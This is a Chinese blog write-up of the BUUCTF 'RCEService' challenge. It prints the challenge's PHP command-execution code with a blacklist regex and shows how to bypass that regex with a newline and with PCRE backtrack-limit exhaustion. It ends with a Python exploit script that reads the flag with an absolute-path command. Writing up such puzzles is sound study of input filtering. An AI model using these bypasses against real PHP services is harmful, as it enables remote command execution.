PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
PHP新手上路(十二)
Oct 09 PHP
php将数据库导出成excel的方法
May 07 PHP
PHP禁止页面缓存的代码
Oct 23 PHP
深入解析PHP中逗号与点号的区别
Aug 05 PHP
PHP 面向对象程序设计(oop)学习笔记 (二) - 静态变量的属性和方法及延迟绑定
Jun 12 PHP
php中smarty模板条件判断用法实例
Jun 11 PHP
Laravel中Facade的加载过程与原理详解
Sep 22 PHP
PHP实现基于PDO扩展连接PostgreSQL对象关系数据库示例
Mar 31 PHP
PHP+MySQL高并发加锁事务处理问题解决方法
Apr 30 PHP
php字符串过滤strip_tags()函数用法实例分析
Jun 24 PHP
PHP基于swoole多进程操作示例
Aug 12 PHP
is_file和file_exists效率比较
Mar 14 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
解析thinkphp基本配置 convention.php
2013/06/18 PHP
ThinkPHP3.1新特性之字段合法性检测详解
2014/06/19 PHP
php使用wordwrap格式化文本段落的方法
2015/03/17 PHP
PHP获取指定时间段之间的 年,月,天,时,分,秒
2016/06/05 PHP
PHP手机号中间四位用星号*代替显示的实例
2017/06/02 PHP
PHP实现的解汉诺塔问题算法示例
2018/08/06 PHP
最简单的jQuery程序 入门者学习
2009/07/09 Javascript
Javascript的匿名函数小结
2009/12/31 Javascript
ASP.NET jQuery 实例13 原创jQuery文本框字符限制插件-TextArea Counter
2012/02/03 Javascript
javascript学习笔记(十三) js闭包介绍(转)
2012/06/20 Javascript
jquery 如何动态添加、删除class样式方法介绍
2012/11/07 Javascript
js控制滚动条缓慢滚动到顶部实现代码
2013/03/20 Javascript
jquery实现textarea输入字符控制(仿微博输入控制字符)
2013/04/26 Javascript
jquery 表格排序、实时搜索表格内容(附图)
2014/05/19 Javascript
使用时间戳解决ie缓存的问题
2014/08/20 Javascript
在JavaScript中操作时间之getUTCDate()方法的使用
2015/06/10 Javascript
angularjs 源码解析之scope
2016/08/22 Javascript
AngularJS定时器的使用与移除操作方法【interval与timeout】
2016/12/14 Javascript
在一个页面重复使用一个js函数的方法详解
2016/12/26 Javascript
Angular.js与node.js项目里用cookie校验账户登录详解
2017/02/22 Javascript
JS创建Tag标签的方法详解
2017/06/09 Javascript
vue+elementui实现点击table中的单元格触发事件--弹框
2020/07/18 Javascript
Python全局变量用法实例分析
2016/07/19 Python
解决使用PyCharm时无法启动控制台的问题
2019/01/19 Python
浅谈pytorch池化maxpool2D注意事项
2020/02/18 Python
python palywright库基本使用
2021/01/21 Python
Zavvi美国:英国娱乐之家
2017/03/19 全球购物
火锅店创业计划书范文
2014/02/02 职场文书
企业军训感言
2014/02/08 职场文书
献爱心倡议书
2014/04/14 职场文书
教师作风整改措施思想汇报
2014/10/12 职场文书
golang 比较浮点数的大小方式
2021/05/02 Golang
基于Redis的List实现特价商品列表功能
2021/08/30 Redis
基于Python和openCV实现图像的全景拼接详细步骤
2021/10/05 Python
python基础之模块的导入
2021/10/24 Python
开发微信小程序之WXSS样式教程
2022/04/18 HTML / CSS